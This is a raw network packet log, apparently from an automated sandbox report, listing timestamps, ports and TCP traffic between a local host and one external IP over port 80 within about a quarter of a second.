Jan 11, 2025 09:21:50.501825094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.501871109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.501873970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.501956940 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502002001 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.502003908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502051115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502095938 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.502324104 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502372980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502414942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.502437115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502486944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502532005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.502536058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502583027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502624989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.502631903 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502682924 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.502726078 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.503174067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503242016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503289938 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.503289938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503372908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503420115 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.503420115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503468990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503510952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.503515005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503563881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.503608942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.504152060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504200935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504241943 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.504249096 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504371881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504415989 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.504419088 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504467010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504508018 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.504513979 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504564047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.504606962 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.505065918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505244970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505290985 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.505307913 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505357981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505399942 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.505403042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505451918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505494118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.505497932 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505547047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.505588055 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.506037951 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506086111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506128073 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.506130934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506211996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506254911 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.506278038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506325960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506367922 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.506372929 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506421089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.506464005 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.507004976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507074118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507113934 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.507122993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507185936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507234097 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.507241011 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507306099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507364035 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.507369995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507419109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507462978 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.507927895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.507993937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508044958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508088112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508105040 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.508152962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508158922 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.508204937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508251905 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.508255959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508291006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508346081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.508884907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.508963108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.509006977 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.509011030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.509059906 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.509099960 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.509408951 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.509455919 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.509500027 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.509504080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.509726048 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.532346010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.532421112 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.532432079 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.532474041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.532520056 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.532524109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.569838047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.569941044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.569993019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570023060 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.570039034 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570056915 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.570091009 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570139885 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570141077 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.570189953 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570238113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570283890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570333004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.570552111 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.588522911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.588576078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.588639021 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.588649988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.588700056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.588746071 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.588834047 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.588834047 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.607013941 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607086897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607131958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607161999 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.607198954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607251883 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.607264996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607332945 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607367992 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607393026 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.607414961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607460976 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.607496023 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607544899 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607585907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607592106 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.607635975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.607681036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.625916958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.625962019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626013994 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626029968 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626092911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626140118 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626154900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626204014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626247883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626260042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626312971 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626359940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626379013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626422882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626466990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626485109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626553059 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626599073 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626600027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626662970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626707077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626708031 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626770973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626939058 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.626950026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.626997948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627044916 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627060890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627108097 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627152920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627155066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627223015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627269983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627271891 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627338886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627387047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627392054 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627454042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627501011 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627501965 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627556086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627597094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627599955 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627660990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627707958 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627708912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627756119 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627798080 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627820015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627866983 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627912045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.627912045 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.627960920 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628005981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628010988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628062963 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628108025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628110886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628159046 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628204107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628207922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628276110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628319025 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628323078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628369093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628411055 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628417969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628464937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628509998 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628513098 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628560066 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628612995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628658056 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628705978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628751040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628797054 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628842115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.628851891 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.628882885 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.633852005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.633902073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.633948088 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.633981943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634023905 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634069920 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634077072 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634140015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634186029 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634187937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634253025 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634295940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634299994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634350061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634396076 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634408951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634459019 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634505987 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634521961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634569883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634619951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634634018 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634699106 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634743929 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634744883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634809017 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634855032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634855986 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634922028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.634965897 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.634968996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635020971 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635068893 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635082960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635133982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635179996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635179996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635229111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635272026 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635274887 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635341883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635384083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635411024 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635459900 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635493040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635512114 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635524988 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635529995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635549068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635607958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635628939 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635628939 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635658026 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635705948 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635709047 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635754108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635798931 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.635802984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635848999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635895014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.635900974 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.656449080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656488895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656558037 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656605005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656620979 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.656620979 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.656651974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656704903 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.656717062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656764984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656806946 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.656810999 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656861067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.656896114 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.656955004 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.657002926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.657044888 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.657047987 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.657097101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.657138109 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.693970919 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694037914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694084883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694117069 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.694200993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694250107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.694250107 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694298029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694338083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.694359064 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694422007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694461107 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.694468975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694515944 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694562912 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694608927 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694653988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.694700003 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.695019960 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.712801933 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.712867975 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.712922096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.712929964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.712980986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713025093 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713043928 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713092089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713135004 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 09:21:50.713139057 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713222027 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 09:21:50.713268995 CET	80	49722	193.143.1.205	192.168.2.10
